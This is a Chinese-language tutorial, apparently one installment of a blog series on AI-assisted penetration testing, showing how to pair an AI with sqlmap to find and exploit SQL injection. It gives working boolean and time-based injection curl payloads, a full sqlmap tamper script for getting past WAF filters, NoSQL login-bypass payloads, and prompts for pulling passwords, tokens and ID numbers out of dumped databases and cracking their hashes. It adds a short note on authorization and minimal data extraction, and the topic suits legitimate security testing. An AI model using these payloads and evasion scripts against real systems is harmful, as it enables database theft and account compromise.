一句话:sqlmap 负责跑,AI 负责告诉 sqlmap 该往哪跑、以及跑出来的东西到底是什么。

一、SQL 注入为什么还需要 AI

sqlmap 已经很成熟了,但它的短板是:

  1. 无脑扫所有参数,触发 WAF,浪费时间
  2. 不理解业务,不知道 sortField 这种参数才最可能有问题
  3. 结果解读弱,dump 出一堆数据要人工分析
  4. 遇到过不去的 WAF 就卡住,不会自动变形

AI 的价值就是补这四块。

二、前置:AI 帮你做注入点优先级排序

# 输入
目标接口清单:
POST /api/order/list  参数: userId, status, startTime, sortField, sortOrder
GET  /api/search      参数: keyword, categoryId, page, size
GET  /api/detail      参数: id

# 任务
按"最可能且最容易利用 SQL 注入"的顺序排序,说明理由。
重点考虑:参数类型(数字/字符串)、是否用于排序/分页、
是否为 where 条件拼接、是否有预编译迹象。

AI 输出(实际):

1. sortField (GET /api/search) —— 最高危
   理由:ORDER BY 字段名无法参数化,是预编译的天然盲区
2. orderId / id —— 数字型注入,若无类型强转则直接可用
3. sortOrder —— ASC/DESC 位置,同样无法预编译
4. keyword —— 需 LIKE 拼接,通常有过滤但可尝试
5. status / categoryId —— 枚举型,可能有白名单

先扫 1、2、3,命中率远高于无脑全扫。

三、手工验证优于盲扫

针对高优先级参数,先手工探测:

# 1. 布尔测试
curl -s "https://target/api/detail?id=1" | wc -c
curl -s "https://target/api/detail?id=1 and 1=1" | wc -c
curl -s "https://target/api/detail?id=1 and 1=2" | wc -c
# 1=1 与正常一致,1=2 不同 → 存在注入

# 2. 时间盲注(最稳,不受回显影响)
curl -s "https://target/api/detail?id=1 and sleep(3)"
# 观察响应时间是否增加约 3 秒

# 3. 排序字段注入
curl -s "https://target/api/search?sortField=id,(select 1 from(select sleep(3))a)"

为什么手工先测:一次性发现"有没有注入",比 sqlmap 跑 10 分钟高效得多。确认存在后再交给 sqlmap 提数据。

四、AI 解读 sqlmap 输出

sqlmap 的 dump 结果常常是一堆乱码和嵌套 JSON。让 AI 结构化:

# 输入
sqlmap dump 输出:
[贴入原始输出]

# 任务
1. 识别这属于哪张表、哪些字段
2. 提取敏感字段(password/hash/token/身份证/手机号)
3. 判断密码哈希类型并给出破解建议
4. 输出结构化 JSON

AI 能快速判断出 $2y$10$... 是 bcrypt、5f4dcc3b5aa765d61d8327deb882cf99 是 MD5("password"),并给出下一步。

五、WAF 绕过的 AI 生成

sqlmap 遇 WAF 卡住时,让 AI 生成定制 tamper:

# 背景
sqlmap 报错:WAF 拦截了 "UNION SELECT" 和空格
目标:MySQL 5.7

# 任务
编写一个 sqlmap tamper 脚本,实现:
1. 关键字内联注释拆分:UNION → /*!50000UNION*/
2. 空格替换为 %0a 或 /**/
3. 保留 SQL 语义不变

# 输出
完整的 tamper python 脚本(sqlmap 格式)

AI 会直接给你一个可用的 tamper:

# tamper: ai_bypass_waf.py
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    if not payload:
        return payload
    # 关键字拆分
    for kw in ["UNION", "SELECT", "SLEEP", "BENCHMARK"]:
        if kw in payload.upper():
            payload = payload.replace(kw, f"/*!50000{kw}*/")
            payload = payload.replace(kw.lower(), f"/*!50000{kw}*/")
    # 空格替换
    payload = payload.replace(" ", "%0a")
    return payload

然后 sqlmap --tamper=ai_bypass_waf 使用。

六、NoSQL / 二次注入 / 堆叠注入的 AI 辅助

sqlmap 对 NoSQL 支持弱,这时靠 AI 生成测试用例:

# 任务
目标使用 MongoDB(Node.js + mongoose)。
生成 15 个 NoSQL 注入测试 Payload,覆盖:
1. 运算符注入($ne/$gt/$regex/$where)
2. 对象注入(参数传 {"$ne": null})
3. JS 注入($where 后接函数)
4. JSON 类型混淆
每条说明触发条件和预期行为。

典型输出:

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
{"$where": "this.username == 'admin' || '1'=='1'"}

NoSQL 注入是 AI 明显优于传统扫描器的领域,因为语法多变、需要理解数据模型。

七、二次注入的 AI 辅助挖掘

二次注入(存储型注入)扫描器基本查不到,因为注入点和使用点分离

AI 的用法:

# 输入
系统功能:
1. 用户注册(nickname 字段存入数据库)
2. 后台导出报表(按 nickname 分组查询,拼接 SQL)

# 任务
分析是否存在二次注入,并给出验证步骤。

AI 会指出:注册时如果 filter 不严,存进去的恶意字符串在后台拼接查询时就会触发注入。这类分析需要理解完整业务流程,正是 AI 的强项。

八、必须注意的边界

  1. Dump 数据要有节制:只取证明危害所需的最小数据量,不要批量拖库
  2. 不碰生产数据--dump 前先确认目标性质和授权范围
  3. 时间盲注注意超时SLEEP(30) 这种可能触发告警
  4. AI 生成的 Payload 先靶场验证:sqlilabs 跑通再打真实目标

九、小结

SQL 注入的 AI 增效公式:

AI 选点(高价值参数排序)
  + 手工快验(sleep 一把梭)
  + sqlmap 深挖(提数据)
  + AI 生成 WAF 绕过(tamper)
  + AI 解读结果(结构化敏感数据)
= 效率提升 3~5 倍,且命中率更高

下一篇:AI 辅助 XSS 挖掘。


系列文章:AI 渗透测试与漏洞挖掘实战